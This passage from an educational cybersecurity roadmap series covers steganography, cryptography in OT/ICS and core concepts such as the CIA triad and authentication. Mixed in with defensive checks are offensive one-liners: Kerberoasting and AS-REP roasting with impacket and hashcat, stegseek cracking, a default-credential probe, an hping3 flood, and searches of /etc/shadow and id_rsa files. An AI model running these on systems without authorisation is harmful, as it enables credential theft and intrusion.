  This is particularly relevant for C2 (command and control):
  Malware uses network steganography to blend C2 traffic with legitimate traffic

13.3 Steganography in Security

Offensive uses:
  Data exfiltration: hide stolen data in images uploaded to social media
  C2 communication: hide commands in public social media posts/images
  Malware delivery: embed malware in documents, images

  Real examples:
  Turla APT (2019): hid C2 commands in comments on Britney Spears' Instagram posts
  Duqu malware: used custom steganography to exfiltrate data
  Multiple APT groups: use image steganography for C2 communications

Defensive considerations:
  DLP systems must inspect image content, not just file type
  Network monitoring must analyse payload patterns, not just protocols
  Outbound traffic should be analysed for steganographic channels

# Steganography in practice:

# steghide — hide data in JPEG/BMP/WAV/AU:
sudo apt install steghide

# Hide a file in an image:
steghide embed \
    -cf photo.jpg \              # Cover file (the innocent-looking carrier)
    -sf secret.txt \             # Secret file to hide
    -p "stegopassword"           # Passphrase (encrypts the hidden data)

# Extract hidden data:
steghide extract \
    -sf photo.jpg \              # Stego file
    -p "stegopassword"           # Passphrase
# Extracts secret.txt if passphrase correct

# stegseek — fast steghide password cracker:
stegseek photo.jpg /usr/share/wordlists/rockyou.txt

# zsteg — detect LSB steganography in PNG/BMP:
sudo gem install zsteg
zsteg suspicious_image.png       # Detect hidden data
zsteg -a suspicious_image.png    # Try all methods

# binwalk — find embedded files in any binary:
binwalk suspicious_file.jpg      # Shows embedded files
binwalk -e suspicious_file.jpg   # Extract embedded files

# exiftool — check metadata (stego sometimes in EXIF):
exiftool photo.jpg | grep -v "^$"  # All metadata
exiftool -all= clean_photo.jpg     # Strip ALL metadata

# Detect LSB steganography with statistical analysis:
python3 << 'EOF'
from PIL import Image
import numpy as np

def detect_lsb_stego(filename):
    img = Image.open(filename)
    pixels = np.array(img)

    # Get all LSBs
    lsbs = pixels & 1  # Extract LSB of each channel

    # Calculate expected vs actual distribution
    # In a natural image, LSBs should be ~50% 0, ~50% 1
    # LSB steganography makes it exactly 50% (or different pattern)
    ratio = lsbs.mean()
    print(f"LSB distribution: {ratio:.4f} (natural: ~0.5, suspicious: exactly 0.5)")

    # Chi-square test
    n = lsbs.size
    observed_0 = np.sum(lsbs == 0)
    observed_1 = np.sum(lsbs == 1)
    expected = n / 2
    chi_sq = ((observed_0 - expected)**2 + (observed_1 - expected)**2) / expected
    print(f"Chi-square: {chi_sq:.2f} (low value suggests steganography)")

detect_lsb_stego("photo.jpg")
EOF

Key Insight: Steganography's power is deniability — the carrier file appears innocent. Sophisticated APT groups use steganography for C2 because the traffic blends with normal image/media traffic. Defence requires content inspection (not just metadata), statistical analysis of image entropy, and anomaly detection on upload/download patterns. In incident response, always check media files for embedded content.

14. Cryptography in OT/ICS Environments

14.1 The Cryptography Gap in OT

State of cryptography in OT/ICS (2024):

No cryptography at all:
  Modbus TCP: no authentication, no integrity, no confidentiality
  DNP3 (baseline): no cryptography (SAv5 adds authentication)
  PROFIBUS: no cryptography
  BACnet: no cryptography in baseline

Why no cryptography:
  1. Designed in 1970s-1980s before network security was a concern
  2. CPU constraints: embedded PLCs lack processing power for crypto
  3. Latency constraints: crypto processing adds microseconds-milliseconds
     unacceptable for hard real-time control loops
  4. Legacy infrastructure: millions of deployed devices cannot be updated
  5. Vendor lock-in: vendors slow to implement standard crypto

Real consequence:
  Any device on the OT network segment can:
  - Read all sensor values (passive Modbus scan)
  - Write to any register/coil (change setpoints, open/close valves)
  - Replay captured commands (repeat a previous command)
  - Inject false commands (fabricate Modbus function codes)
  With no authentication required

14.2 Where Cryptography Exists in OT

IEC 62351 — Security for IEC 61850 and IEC 60870-5-104:
  62351-3: TLS for MMS, ICCP
  62351-4: Authentication for ICCP
  62351-5: Authentication for DNP3 and IEC 60870-5-101/104
  62351-6: GOOSE and Sampled Values authentication (AES-GMAC)
  62351-8: Role-based access control

  Adoption: low — implementation is complex, vendor support varies

OPC-UA Security:
  OPC-UA has built-in security: authentication, signing, encryption
  MessageSecurityMode: None, Sign, SignAndEncrypt
  Sign: Integrity protection (HMAC)
  SignAndEncrypt: Integrity + Confidentiality (AES-256-CBC)
  Certificates: X.509 certificates for server/client authentication

  This is the correct model for new OT deployments
  OPC-UA adoption growing — replacing older proprietary protocols

WirelessHART / ISA100.11a:
  AES-128 encryption for wireless industrial sensors
  CCM (Counter with CBC-MAC) mode — authenticated encryption
  Key management: join keys, session keys

DNP3 Secure Authentication v5 (SAv5):
  HMAC-based challenge-response authentication
  Prevents command injection for DNP3
  Adoption: some power utilities (NERC CIP drives adoption)

IEC 61850 GOOSE Security (IEC 62351-6):
  GOOSE messages authenticated with AES-GMAC
  Prevents forged protection relay commands
  Deployment: rare — latency constraints challenged

14.3 TLS in OT Environments

TLS deployment challenges in OT:

Certificate management:
  OT devices have long lifespans (10-20 years)
  Annual TLS certificate renewal cycles require:
    - Update process that doesn't interrupt operation
    - Certificate lifecycle management tooling
    - Operator training
  Many OT environments have no process for this

TLS versions on legacy OT:
  Windows CE, Windows XP embedded: support TLS 1.0 only (deprecated)
  Cannot be upgraded without replacing hardware
  Solution: TLS termination proxy (modern TLS toward IT, legacy toward OT device)

Self-signed certificates in OT:
  OT environments often cannot access internet PKI
  Internal CA or self-signed certificates used
  Risk: No validation possible without PKI

TLS for OT communication:
  OPC-UA → TLS 1.2/1.3 for secure machine-to-machine
  Remote access → TLS VPN or TLS-based remote access (not Telnet!)
  Historian → TLS for HTTPS data access from IT

Certificate pinning in OT:
  OT systems can pin specific certificates
  Prevents MITM even with compromised CA
  Requires careful management for certificate rotation

# Cryptography assessment in OT networks:

# Check if OT protocols are running without encryption:
sudo tcpdump -i eth0 -nn 'port 502 or port 20000 or port 2404 or port 44818' | \
    head -20
# If you see traffic: those protocols running in cleartext

# Check if OPC-UA is using TLS:
# Port 4840 = OPC-UA (unencrypted baseline)
# Port 4843 = OPC-UA with TLS
nmap -sV -p 4840,4843 192.168.1.0/24 2>/dev/null

# Test TLS on industrial historian or HMI:
openssl s_client -connect historian-server:443 2>/dev/null | \
    grep -E "Protocol|Cipher|Verify"
# Look for TLS 1.0/1.1 (deprecated) or weak cipher suites

# Check IEC 62351 GOOSE authentication (wireshark):
# Filter: goose
# Check if Security Level > 0 in GOOSE PDU
# Security Level 0 = no authentication (vulnerable)

# Audit OPC-UA security mode:
# Using open62541 or other OPC-UA client:
# python-opcua:
python3 << 'EOF'
try:
    from opcua import Client
    client = Client("opc.tcp://192.168.1.100:4840")
    client.connect()
    # If connected without security: no encryption or authentication
    security_mode = client.get_attribute(1, "SecurityMode")
    print(f"Security Mode: {security_mode}")
    # 1 = None (no security!)
    # 2 = Sign
    # 3 = SignAndEncrypt (correct)
    client.disconnect()
except Exception as e:
    print(f"Connection result: {e}")
EOF

15. Module Summary

Concept	Core Mechanism	Attack Relevance	Key Defence	OT/ICS Note
Encoding	Format conversion (Base64, URL, Hex)	WAF bypass via encoding, credential exposure in Basic Auth	Decode all input before validation; never confuse with encryption	OT firmware strings often Base64-encoded in memory dumps
Symmetric Encryption	Same key encrypts and decrypts	Brute force key, weak cipher (DES/3DES), ECB mode patterns	AES-256-GCM; never ECB; unique random IV per message	AES-128-CCM in WirelessHART; OT devices often lack AES-NI
AES	SPN, 10-14 rounds, 128-bit blocks	Side-channel (timing, cache); implementation attacks only	AES-256-GCM standard; hardware AES-NI; protect key material	AES-128 in WirelessHART; AES-256 for historian data at rest
DES/3DES	56-bit/112-bit Feistel; BROKEN	DES: brute force in minutes; 3DES: SWEET32 birthday attack	Eliminate; replace with AES-256	Legacy payment systems in OT; force replacement schedule
RSA	Integer factorisation; public/private keys	PKCS1v15 padding oracle (ROBOT 2017); short keys (ROCA)	RSA-2048 minimum; RSA-PSS padding; prefer ECDH	TLS certificates for OT historian, OPC-UA servers
ECC	Elliptic curve discrete log; ECDHE	Weak curve parameters (NIST distrust); ECDSA k reuse	Curve25519/P-256; always random k in ECDSA	OPC-UA certificates; preferred over RSA for constrained devices
Diffie-Hellman	g^ab mod p shared secret without transmitting	Logjam (512-bit precomputed); discrete log for weak params	ECDHE; 2048-bit minimum DH; forward secrecy	ECDHE in OPC-UA TLS; enables forward secrecy for OT sessions
MD5	128-bit Merkle-Damgård; BROKEN	Collision (2009); forged CA cert (Flame 2012)	SHA-256 minimum; MD5 acceptable only for non-security deduplication	Legacy OT firmware checksums use MD5; identify and flag
SHA-1	160-bit; BROKEN	SHAttered collision (2017, $100K); chosen-prefix 2020	SHA-256 minimum	OT firmware updates still using SHA-1; critical finding
SHA-256/SHA-3	256-bit; SECURE	No practical attack known	SHA-256 standard; SHA-3 for diversity	Use for firmware integrity verification in OT
Salt	Random per-password value; defeats rainbow tables	Without salt: precomputed table attack	16+ byte CSPRNG salt; unique per password; store with hash	Hash-based authentication tokens in OT systems
Pepper	Secret application-level addition to password	Requires app server compromise in addition to DB breach	256-bit CSPRNG; store in HSM or config separate from DB	HMI application authentication secrets
bcrypt/Argon2id	Intentionally slow; work factor	GPU cracking; requires work to crack even with hash	Argon2id (time=3, mem=64MB); bcrypt (rounds≥12)	SCADA operator passwords; HMI authentication
Digital Signatures	Hash + asymmetric sign; auth + integrity + non-repudiation	Key theft; PS3/Android k reuse; PKCS1v15 forgery	ECDSA with random k; Ed25519; RSA-PSS	IEC 62351 signing of GOOSE messages; OTA firmware signing
PKI	Certificate chains; CA trust anchor	Rogue CA (MD5 collision 2008); misissued certs	CAA DNS records; CT monitoring; short-lived certs	OPC-UA PKI; internal CA for OT certificates
TLS	Asymmetric key exchange → symmetric data encryption	Heartbleed, BEAST, POODLE, FREAK, Logjam, ROBOT	TLS 1.3 minimum; ECDHE only; AEAD ciphers; HSTS	TLS for OT historian, remote access, OPC-UA; never Telnet
TLS Handshake	ClientHello/ServerHello → key exchange → application data	Downgrade attack; session hijack; MITM (no cert validation)	Certificate pinning; HSTS; validate full chain; TLS 1.3	OT remote access must validate server certificates
Cryptographic Randomness	CSPRNG; entropy sources; unpredictable output	Predictable seed (DUHK 2017); entropy starvation; ECDSA k	/dev/urandom; secrets module; hardware RNG; haveged for VMs	First-boot key generation in OT devices; entropy starvation risk
Steganography	Hidden data in carrier files	Data exfiltration; C2 in social media images (Turla APT)	Content inspection; outbound media analysis; StegExpose	ICMP tunnel C2 in OT networks; detect with payload analysis

Next Module: Stage 2.3 — Identity and Access Management

Previous Module: Stage 2.1 — Core Security Concepts

Stage Index: Stage 2 README

Series Index: Full Roadmap

This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.

Stage 2.1 — Core Security Concepts

Rençber AKMAN — Sun, 14 Jun 2026 07:11:05 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 2 — Cybersecurity Core

Module: 2.1 — Core Concepts

Level: Beginner → Advanced

Prerequisites: Stage 1 — Network Fundamentals (all modules)

Next Module: 2.2 — Cryptography

Why Core Concepts Are the Foundation of Every Security Decision
CIA Triad — Confidentiality, Integrity, Availability
Authentication — Proving Identity
Authorization — Granting Permission
Access Control — Enforcing Decisions
AAA Model — Authentication, Authorization, Accounting
Risk, Threat, Vulnerability, Attack — Precise Definitions
Threat Actor Types
Attack Surface
Defence in Depth
Least Privilege Principle
Separation of Duties
Zero Trust Model
Module Summary

1. Why Core Concepts Are the Foundation of Every Security Decision

Security tools change. Vendors come and go. Vulnerabilities are patched. Attack techniques evolve. But the conceptual framework underlying every security decision — why something is secure or insecure, who should have access to what, how trust is established, what constitutes acceptable risk — remains constant. Professionals who understand these concepts at a deep level make better decisions faster, in situations they have never encountered before.

Concrete examples of how concept failures cause real breaches:

Target (2013) — CIA and Least Privilege failure: The breach began through an HVAC vendor who had network access for remote monitoring. Proper network segmentation (a CIA-Availability/Integrity control) would have contained vendor access to HVAC systems only. Instead, the vendor's access reached the point-of-sale network. 40 million payment card records were compromised. The CIA triad concept, properly applied, would have mandated isolation.

SolarWinds SUNBURST (2020) — Integrity failure: The attackers compromised the SolarWinds build pipeline and inserted malicious code into legitimate, digitally signed software updates. 18,000 organisations installed the malicious update. This was a supply chain integrity attack — the update appeared authentic, was signed with a legitimate certificate, but contained a backdoor. Integrity controls on the build process (code signing with hardware-bound keys, build pipeline monitoring) were insufficient.

Colonial Pipeline (2021) — Availability and Zero Trust failure: Ransomware encrypted systems and Colonial shut down pipeline operations proactively. The initial access was via a compromised VPN account with no MFA. A Zero Trust approach would have required MFA, device health verification, and continuous validation — not just "valid credentials = full access." The Availability impact was $4.4 million in ransom and fuel shortages across the US East Coast.

OT/ICS — Stuxnet (2010) — All three CIA pillars targeted: Stuxnet attacked Confidentiality (covert operation hidden from operators), Integrity (false data sent to SCADA while centrifuges were physically destroyed), and Availability (centrifuges rendered inoperable). Understanding which CIA pillar an attack targets immediately tells you the appropriate defensive response.

These were not tool failures. They were conceptual failures — wrong assumptions about trust, access, identity, and risk. This module corrects those assumptions from first principles.

2. CIA Triad — Confidentiality, Integrity, Availability

2.1 The Framework

The CIA Triad is the foundational model of information security. Every security control, every policy, every architectural decision can be mapped to protecting one or more of its three properties.

        Confidentiality
             /\
            /  \
           /    \
          /      \
         /________\
  Integrity      Availability

Each property protects a different aspect of information:
  Confidentiality: Who can SEE the information
  Integrity:       Who can CHANGE the information, and whether it has been changed
  Availability:    Whether the information/system can be ACCESSED when needed

2.2 Confidentiality

Definition: Ensuring that information is accessible only to those authorised to access it.

First principles: Information has value. That value is often reduced or destroyed when it reaches parties who should not have it — competitors, attackers, regulators, the public. Confidentiality controls limit who can access information.

Mechanisms:

Encryption (at rest: disk encryption, at transit: TLS)
Access controls (authentication + authorisation)
Physical security (who can reach the hardware)
Data classification (categorising information by sensitivity)
Need-to-know principle (access only to what the role requires)

How confidentiality is attacked:

Attack methods targeting confidentiality:

Eavesdropping: 
  Wireshark/tcpdump on shared medium
  ARP spoofing + MITM
  Wireless sniffing (WEP cracking, evil twin)

Credential theft:
  Phishing (social engineering for passwords)
  Keylogging (capture as user types)
  Mimikatz (extract from Windows memory)
  Pass-the-hash (use credential hash without knowing plaintext)

Data exfiltration:
  DNS tunnelling (exfiltrate via DNS queries)
  HTTPS C2 (exfiltrate over encrypted channels)
  Cloud storage abuse (upload to Dropbox/Google Drive)
  Physical media (USB drives)

Inference attacks:
  Machine learning on metadata (who communicates with whom)
  Traffic analysis (even encrypted traffic reveals patterns)
  Timing attacks (response time reveals information)

Measuring confidentiality failure:

Data classification level of exposed data
Number of records exposed
Regulatory exposure (GDPR, HIPAA, PCI-DSS)
Time data was exposed before detection

OT/ICS Confidentiality:
In OT environments, confidentiality concerns include:

Process parameters (setpoints, recipes, formulas) — competitive intelligence
Control system architecture (network topology, PLC models, firmware versions) — facilitates targeted attacks
Personnel locations and schedules (safety risk)
Proprietary industrial processes

However, OT prioritises Availability > Integrity > Confidentiality (inverse of typical IT). A confidentiality breach in OT rarely causes immediate physical harm; an availability breach can stop production or cause safety incidents.

# Testing confidentiality controls:

# Check if data is encrypted in transit:
openssl s_client -connect target:443 2>/dev/null | grep -E "Protocol|Cipher"
# If no TLS: confidentiality is unprotected in transit

# Check if sensitive files are readable by unauthorised users:
find /etc /var /opt -name "*.conf" -o -name "*.key" -o -name "*.pem" | \
    xargs ls -la 2>/dev/null | grep -v "^-r--------\|^-rw-------"
# Files readable by group/other = potential confidentiality failure

# Check disk encryption status (Linux):
lsblk -o NAME,FSTYPE,MOUNTPOINT | grep -i crypt   # LUKS volumes
cryptsetup status /dev/sda                          # LUKS status

# Check Windows BitLocker:
manage-bde -status C:
# "Protection Status: Protection On" = confidentiality protected

# Find world-readable sensitive files:
find / -name "id_rsa" -o -name "*.key" -o -name "shadow" 2>/dev/null | \
    xargs ls -la 2>/dev/null | grep -v " root root "

2.3 Integrity

Definition: Ensuring that information is accurate, complete, and has not been modified by unauthorised parties.

First principles: Information only has value if it is trustworthy. If a financial record, a software update, a medical record, or a sensor reading can be silently modified by an attacker, every decision based on that information may be wrong. Integrity ensures that data is what it claims to be.

Two types of integrity:

Data Integrity:
  The content of information has not been modified
  Example: a log entry has not been altered after the fact

System Integrity:
  The system behaves as designed
  Example: the operating system hasn't been modified by malware

Both are required — compromising either defeats the purpose of the other

Mechanisms:

Cryptographic hashes (SHA-256, SHA-3) — detect any modification
Digital signatures — verify origin and integrity together
MACs (Message Authentication Codes) — integrity + authentication
Checksums — detect accidental modification (not malicious)
Write-once storage (immutable logs, WORM)
Version control systems (detect unauthorised changes)
File integrity monitoring (Tripwire, AIDE, Windows FIM)

How integrity is attacked:

SolarWinds SUNBURST (2020):
  Target: Software supply chain integrity
  Method: Modify legitimate software before distribution
  How: Compromise build server, inject malicious code into DLL
  Result: Signed, legitimate-looking update contained backdoor
  Impact: 18,000 organisations infected

NotPetya (2017):
  Target: Software supply chain integrity (MeDoc accounting software)
  Method: Hijack auto-update mechanism
  How: Compromise update server for Ukrainian tax software
  Distribution: Sent malicious update to all MeDoc users in Ukraine
  Impact: $10 billion global damage, most destructive malware ever

Log tampering:
  Attacker modifies system logs after compromise to remove evidence
  Mitigation: Forward logs to remote, append-only syslog server immediately
  Forensic indicator: gaps in log sequence numbers, missing events

Database manipulation:
  Direct SQL UPDATE/DELETE on database records
  No trace unless query logging enabled
  Example: financial fraud via database record modification

OT/ICS Integrity — Most Critical Property:

In OT, integrity is arguably the most dangerous property to violate because the consequences are physical:

Stuxnet Integrity Attack (2010):
  Attack: Modified centrifuge control parameters while sending false
          "normal" readings to the operator HMI
  Result: Operators saw normal operation; centrifuges were destroying themselves
  Mechanism: Rootkit intercepted Siemens WinCC API calls
             Returned pre-recorded "normal" data to SCADA
             Sent actual destructive commands to PLCs

  This is the definitive integrity attack on OT:
  - Sensor data integrity: FALSE (operators see lies)
  - Control command integrity: COMPROMISED (PLCs receive attacker commands)
  - System integrity: COMPROMISED (rootkit hidden in SCADA)

Integrity in OT sensor data:
  A pressure sensor reading 150 PSI when actual pressure is 300 PSI = 
  operator makes decisions on false data = potential explosion

  Mitigations:
  - Cross-reference multiple independent sensors
  - Physical safety systems independent of digital controls
  - IEC 62443 security levels for control system integrity
  - Message authentication for control commands (IEC 62351)

# Integrity verification tools:

# File integrity checking:
sha256sum /bin/ls                         # Calculate hash
sha256sum -c checksums.txt               # Verify against saved hashes

# AIDE (Advanced Intrusion Detection Environment):
sudo aide --init                          # Create baseline database
sudo aide --check                         # Compare current state to baseline
# Reports: added, removed, changed files

# Tripwire (enterprise FIM):
sudo tripwire --init                      # Initialise database
sudo tripwire --check                     # Check integrity
sudo tripwire --update                    # Update after approved changes

# Verify package integrity (Linux):
rpm -V package_name                       # RPM: verify installed package
dpkg -V package_name                      # Debian: verify package
# Output: 5 = checksum failure (file modified)

# Verify digital signatures:
gpg --verify file.sig file               # Verify GPG signature
openssl dgst -sha256 -verify key.pub -signature sig.bin file  # Verify OpenSSL sig

# Check Windows system file integrity:
sfc /scannow                              # System File Checker
# Detects and repairs modified system files

# Log integrity monitoring:
# Forward logs to remote syslog IMMEDIATELY (before attacker can tamper):
# /etc/rsyslog.conf:
# *.* @@syslog-server:514              # @@ = TCP (reliable, ordered)
# *.* @syslog-server:514               # @ = UDP (fire and forget)

2.4 Availability

Definition: Ensuring that authorised users can access information and systems when needed.

First principles: A system that works perfectly but is inaccessible provides zero value. Availability controls ensure that systems remain operational and accessible under adversarial conditions (DDoS, ransomware, hardware failure) and non-adversarial conditions (power outage, software bugs, natural disasters).

Mechanisms:

Redundancy (no single point of failure)
Load balancing (distribute load across multiple systems)
Backups (restore capability after failure)
Disaster Recovery (DR) and Business Continuity Planning (BCP)
Rate limiting (prevent resource exhaustion)
DDoS mitigation
Patch management (prevent exploit-based outages)
Monitoring and alerting

Availability metrics:

Uptime measurement:
  99%     = 87.6 hours downtime/year     ("two nines")
  99.9%   = 8.76 hours downtime/year    ("three nines")
  99.99%  = 52.6 minutes downtime/year  ("four nines")
  99.999% = 5.26 minutes downtime/year  ("five nines")

RTO (Recovery Time Objective): How fast must systems be restored?
RPO (Recovery Point Objective): How much data loss is acceptable?

Example: RPO = 1 hour means: backups must run at least hourly
Example: RTO = 4 hours means: systems must be restored within 4 hours

How availability is attacked:

DDoS (Distributed Denial of Service) — overwhelm with traffic
Ransomware — encrypt data/systems, demand payment to restore
Physical destruction — sabotage of hardware
Resource exhaustion — fill disk, exhaust memory, TCP state table attacks
Logic bombs — scheduled code to crash systems
Supply chain attacks on dependencies

OT/ICS Availability — The Primary Concern:

OT Availability Priority:

In enterprise IT: CIA (Confidentiality first)
In OT/ICS: AIC (Availability first)

Why availability dominates in OT:
  A manufacturing PLC going offline = production stop = $X/minute losses
  A water treatment SCADA going offline = inability to control water quality
  A power grid SCADA going offline = potential for blackout
  An oil refinery control system going offline = unsafe process conditions

"Fail safe" vs "Fail operational":
  Enterprise IT failure: systems go down, users can't work (bad but manageable)
  OT failure: physical process continues without control (potentially dangerous)

  Safety Instrumented Systems (SIS) are designed to "fail safe":
  If SIS loses communication, it takes the process to a safe state automatically

  But: making OT highly available often means avoiding patches (restart risk),
  avoiding changes (configuration risk), avoiding monitoring (performance risk)
  → This is why OT systems are often most vulnerable

# Availability monitoring and testing:

# Check system uptime:
uptime                              # Linux
systeminfo | grep "System Boot"     # Windows

# Monitor service availability:
while true; do
    if ! ping -c 1 -W 2 192.168.1.100 &>/dev/null; then
        echo "$(date): HOST DOWN: 192.168.1.100" | tee -a /var/log/availability.log
    fi
    sleep 30
done

# Check disk space (availability killer if full):
df -h | awk '$5 > 80 {print "WARNING: "$1" is "$5" full"}'

# Backup verification:
sha256sum backup.tar.gz             # Hash before storage
sha256sum backup_restored.tar.gz    # Hash after restoration — must match

# DDoS simulation (own infrastructure only):
# hping3 --flood -S -p 80 target   # SYN flood
# Only run on your own test infrastructure

Key Insight: The CIA Triad tells you what you are protecting, not how. Every security control maps to at least one pillar — and the most damaging attacks often compromise multiple pillars simultaneously. Before designing any security control, always ask: which CIA property does this protect, and what is the most likely attack against it? The answer determines the correct tool.

3. Authentication — Proving Identity

3.1 What Authentication Is

Authentication answers the question: "Are you who you claim to be?"

It is the process of verifying that an entity (person, system, application) is who or what it claims to be. Authentication precedes authorisation — you must know WHO someone is before you can determine what they are ALLOWED to do.

Authentication vs Identification vs Authorisation:

Identification:  "I am John Smith"       (claim — anyone can make this)
Authentication: "I can prove I am John"  (verification — requires proof)
Authorisation:  "John may access X"      (permission — granted after auth)

In systems:
  Username = identification  (I claim to be 'jsmith')
  Password = authentication  (I can prove it)
  ACL check = authorisation  (jsmith is allowed to read /etc/passwd)

3.2 Authentication Factors

Authentication factors are categories of proof. Using multiple factors increases security exponentially because an attacker must compromise multiple independent mechanisms.

Factor 1 — Something You KNOW:
  Passwords, PINs, security questions, passphrases
  Weaknesses: forgotten, guessed, stolen via phishing, cracked offline,
              reused across sites, exposed in data breaches

Factor 2 — Something You HAVE:
  Hardware tokens (YubiKey, RSA SecurID), smart cards, mobile phones
  (TOTP codes via Authenticator apps), certificates on specific devices
  Weaknesses: lost or stolen device, SIM swapping (for SMS-based)

Factor 3 — Something You ARE:
  Biometrics: fingerprint, face recognition, iris scan, voice print, typing patterns
  Weaknesses: cannot be changed if compromised, spoofing possible,
              privacy implications, accuracy varies

Factor 4 — Somewhere You ARE:
  Geolocation, IP address, network location
  Weaknesses: VPN/proxy bypass, GPS spoofing, imprecise geofencing
  Use: usually a supplemental factor, not primary

Factor 5 — Something You DO:
  Behavioural biometrics: typing rhythm, mouse movement patterns, gait analysis
  Weaknesses: can be affected by injury, illness, stress; training period needed

Multi-Factor Authentication (MFA):

MFA = using two or more factors from DIFFERENT categories

Common MFA implementations:
  Password + TOTP code (Factor 1 + Factor 2)
  Smart card + PIN (Factor 2 + Factor 1)
  Password + hardware key + fingerprint (F1 + F2 + F3)

NOT real MFA:
  Password + security question (both Factor 1)
  Two passwords (both Factor 1)
  Password + email code (Factor 1 + quasi-Factor 2 — email is often Factor 1 protected)

MFA Bypass Attacks:
  SIM swapping: convince carrier to transfer phone number to attacker's SIM
  OTP phishing: real-time phishing captures OTP before it expires
  MFA fatigue: send repeated MFA push notifications until user accepts

MFA Fatigue Attack (Uber, 2022):
  Attacker obtained credentials from dark web
  Spammed Uber employee's phone with MFA push notifications
  Employee eventually approved to stop the spam
  Attacker gained access → full Uber internal network compromise

  Defence: number matching MFA (display code in app that must match screen)
           Phishing-resistant MFA: FIDO2/WebAuthn hardware keys

3.3 Authentication Protocols

Kerberos (Windows Active Directory):

  Design: Avoid transmitting passwords over network
  Method: Ticket-based authentication system

  Flow:
  Client → AS (Authentication Service): "I am user X" + encrypted timestamp
  AS → Client: TGT (Ticket Granting Ticket) encrypted with AS key
  Client → TGS (Ticket Granting Service): TGT + "I want service Y"
  TGS → Client: Service Ticket for Y, encrypted with service Y's key
  Client → Service Y: Service Ticket
  Service Y: Decrypts ticket, grants access

  Security implications:
  - Password never transmitted in cleartext
  - Tickets are time-limited (default: 10 hours)
  - Kerberoasting: request service tickets for accounts with SPNs,
    crack offline (ticket encrypted with service account's password)
  - Pass-the-ticket: steal TGT from memory, use to authenticate as victim
  - Golden Ticket: forge TGT using krbtgt hash (Domain Admin → persistent access)

  Tools:
    Rubeus: Kerberos attack toolkit (Kerberoasting, AS-REP Roasting, ticket extraction)
    Mimikatz: Extract Kerberos tickets from Windows memory
    Impacket GetUserSPNs: Kerberoasting from Linux

NTLM (NT LAN Manager):
  Challenge-response authentication
  Server sends 8-byte challenge
  Client responds with HMAC of NT hash
  Vulnerability: relay attacks, offline cracking

  Responder + ntlmrelayx: capture NTLM hashes, relay to other services
  Hashcat -m 5600: crack NTLMv2 hashes

OAuth 2.0 / OIDC:
  Token-based delegation
  "Login with Google" = Google authenticates, provides token to app
  Access token: what you can do
  Refresh token: get new access tokens without re-authenticating
  ID token: who you are (OIDC extension to OAuth)

SAML (Security Assertion Markup Language):
  Enterprise SSO (Single Sign-On)
  XML-based assertions from Identity Provider to Service Provider
  Attack: SAML response manipulation if not properly signed and verified

# Authentication testing and monitoring:

# Check password hash algorithm in /etc/shadow:
sudo cat /etc/shadow | head -3
# $6$ = SHA-512 (good)
# $5$ = SHA-256 (acceptable)
# $1$ = MD5 (insecure — must change)
# $y$ = yescrypt (modern, excellent)
# DES (no prefix) = extremely insecure

# Enumerate Kerberoastable accounts:
# (requires domain credentials)
impacket-GetUserSPNs -dc-ip 192.168.1.10 DOMAIN/user:password -request
# Outputs: TGS tickets for service accounts → crack with hashcat -m 13100

# AS-REP Roasting (accounts with "don't require preauth"):
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 192.168.1.10 -no-pass
# Outputs: AS-REP hashes → crack with hashcat -m 18200

# Check for weak authentication on web services:
# Test default credentials:
curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://target/login \
    -d '{"user":"admin","pass":"admin"}'
# 200 with success indicator = default creds work

# Check for MFA enforcement:
# If login succeeds with just username/password (no second factor prompt): no MFA

# Monitor authentication failures (Linux):
sudo grep "Failed password\|Invalid user" /var/log/auth.log | \
    awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10
# High count from single IP = brute force attempt

# Windows authentication log:
# Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select-Object -First 10
# Event 4625 = failed logon
# Event 4624 = successful logon
# Event 4648 = logon with explicit credentials (often malicious)

Authentication in OT/ICS:

OT Authentication Challenges:

1. Many field devices (PLCs, RTUs) have NO authentication:
   Modbus: no authentication — any device on the network can read/write
   DNP3 baseline: no authentication (SAv5 adds it but rarely deployed)
   PROFIBUS: no authentication
   → Anyone with network access = full control

2. Default credentials pervasive in OT:
   PLC web interfaces: admin/admin
   SCADA systems: factory default passwords rarely changed
   Industrial switches: default Telnet credentials

3. Legacy OT systems cannot support modern authentication:
   Old PLCs cannot run TLS or modern crypto
   Resources too constrained for authentication overhead

4. Shared credentials common:
   "The HMI password" known to all operators
   No individual accountability
   Cannot audit who made which change

5. Authentication vs real-time requirements:
   Latency introduced by authentication may be unacceptable for
   time-critical control operations

Defence:
  Network segmentation (compensate for device auth failure)
  Jump servers with strong auth for accessing OT
  OPC-UA with authentication for modern inter-device communication
  IEC 62351 for protocol-level authentication
  NERC CIP requires access management for BES Cyber Systems

Key Insight: Authentication is the gateway to all other security controls — if authentication is bypassed or compromised, every authorisation control becomes meaningless. Phishing-resistant hardware MFA (FIDO2/WebAuthn) is the only authentication method provably resistant to the most common attacks (phishing, credential stuffing, real-time OTP replay). SMS and TOTP codes remain valuable but are not phishing-resistant.

4. Authorization — Granting Permission

4.1 What Authorization Is

Authorisation answers: "What are you allowed to do?"

After identity is verified (authentication), the system determines what resources and actions the authenticated entity is permitted to access or perform. Authorisation and authentication are distinct — one system knowing who you are does not mean it knows what you're allowed to do.

Authentication → Authorization → Access

Authentication verifies identity
Authorisation enforces policy
They can fail independently:

Broken Auth + Correct Authz:  Attacker impersonates user, gets user's permissions only
Correct Auth + Broken Authz:  Real user authenticated, but can access resources beyond permissions
Both broken:                  Complete compromise

4.2 Authorisation Models

DAC — Discretionary Access Control:

Owner of resource decides who can access it
Example: Linux file permissions (chmod)
  -rw-r--r-- file.txt
  Owner: read, write
  Group: read
  Others: read

Weakness: Owner can grant access to anyone
          "Discretionary" = no central oversight
          User error leads to data exposure (chmod 777)

Attack relevance: Find world-readable sensitive files
find / -perm -o+r -name "*.key" -o -name "*.conf" 2>/dev/null

MAC — Mandatory Access Control:

Central authority assigns labels (classifications) to subjects and objects
Access granted only when subject label permits object label
Subject cannot override — even if they "own" the file

Examples:
  SELinux (Security Enhanced Linux)
  AppArmor
  Military classifications: Unclassified, Secret, Top Secret

Multi-Level Security (MLS) model (Bell-LaPadula):
  No read up: Top Secret user can read Secret (but not TS from Secret)
